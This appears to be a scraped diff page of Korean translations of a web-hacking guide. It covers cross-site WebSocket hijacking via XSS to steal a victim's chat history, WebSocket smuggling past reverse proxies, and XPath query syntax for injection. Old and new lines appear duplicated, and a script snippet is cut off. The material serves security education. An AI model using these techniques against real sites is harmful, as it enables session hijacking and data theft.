**웹소켓** 연결을 **설정할** 때 **쿠키**가 **서버**에 **전송**된다는 점에 유의하십시오. **서버**는 이를 사용하여 **전송된 쿠키**를 기반으로 각 **특정** **사용자**와 그의 **웹소켓** **세션**을 **연관**시킬 수 있습니다.
**웹소켓** 연결을 **설정할 때** **쿠키**가 **서버**로 **전송**된다는 점에 유의하십시오. **서버**는 이를 사용하여 **전송된 쿠키**를 기반으로 각 **특정** **사용자**와 그의 **웹소켓** **세션**을 **연관**시킬 수 있습니다.
그런 다음, 예를 들어 **웹소켓** **서버**가 사용자의 대화 **히스토리**를 **전송**하는 경우, "**READY"**라는 메시지가 전송되면, **단순 XSS**가 연결을 설정하고 ( **쿠키**가 피해자 사용자를 인증하기 위해 **자동으로 전송**됨) "**READY**"를 전송하면 **대화**의 **히스토리**를 **가져올** 수 있습니다.
그런 다음, 예를 들어 **웹소켓** **서버**가 사용자의 대화 **히스토리**를 **전송**하는 경우, "**READY"**라는 메시지가 전송되면, **단순 XSS**가 연결을 설정하고 (이때 **쿠키**는 피해자 사용자를 인증하기 위해 **자동으로 전송**됨) "**READY**"를 전송하면 **대화**의 **히스토리**를 **가져올** 수 있습니다.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -140,11 +140,11 @@ WebSockets에서 레이스 조건도 존재합니다, [더 알아보려면 이
## 기타 취약점
Web Sockets는 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**이므로, 서버와 클라이언트가 정보를 처리하는 방식에 따라, **Web Sockets는 XSS, SQLi 또는 웹에서 일반적으로 발생하는 취약점을 웹소켓의 사용자 입력을 사용하여 악용하는 데 사용될 수 있습니다.**
Web Sockets는 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 **Web Sockets는 XSS, SQLi 또는 웹에서 일반적으로 발생하는 취약점을 웹소켓의 사용자 입력을 사용하여 악용하는 데 사용될 수 있습니다.**
## **WebSocket 스머글링**
이 취약점은 **역방향 프록시 제한을 우회**할 수 있게 해주며, **웹소켓 통신이 설정되었다고 믿게 만들 수 있습니다** (사실이 아니더라도). 이는 공격자가 **숨겨진 엔드포인트에 접근**할 수 있게 할 수 있습니다. 더 많은 정보는 다음 페이지를 확인하세요:
이 취약점은 **역방향 프록시 제한을 우회할 수 있게 해줍니다**. 이를 통해 **웹소켓 통신이 설정되었다고 믿게 만들 수 있습니다** (사실이 아니더라도). 이는 공격자가 **숨겨진 엔드포인트에 접근할 수 있게 할 수 있습니다**. 더 많은 정보는 다음 페이지를 확인하세요:
{{#ref}}
h2c-smuggling.md

View File

@ -24,7 +24,7 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
- **bookstore**: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
- **/bookstore**: 루트 요소 bookstore가 선택됩니다. 슬래시 (/)로 시작하는 경로는 요소에 대한 절대 경로를 나타냅니다.
- **bookstore/book**: bookstore의 자식인 모든 book 요소가 선택됩니다.
- **//book**: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
- **//book**: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
- **bookstore//book**: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
- **//@lang**: lang이라는 이름을 가진 모든 속성이 선택됩니다.
@ -32,7 +32,7 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
선택을 세분화하기 위해 술어가 사용됩니다:
- **/bookstore/book\[1]**: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 5에서 9 버전의 경우 첫 번째 노드를 \[0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
- **/bookstore/book\[1]**: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 \[0]으로 인덱싱하는 우회 방법은 JavaScript를 통해 SelectionLanguage를 XPath로 설정하는 것입니다.
- **/bookstore/book\[last()]**: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
- **/bookstore/book\[last()-1]**: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
- **/bookstore/book\[position()<3]**: bookstore 요소의 book 요소 자식이 선택됩니다.
@ -52,7 +52,7 @@ XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으
추가 예는 다음과 같습니다:
- **/bookstore/\***: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
- **//\***: 문서 내 모든 요소가 선택됩니다.
- **//\***: 문서 내 모든 요소가 선택됩니다.
- **//title\[@\*]**: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.
## Example

Some files were not shown because too many files have changed in this diff Show More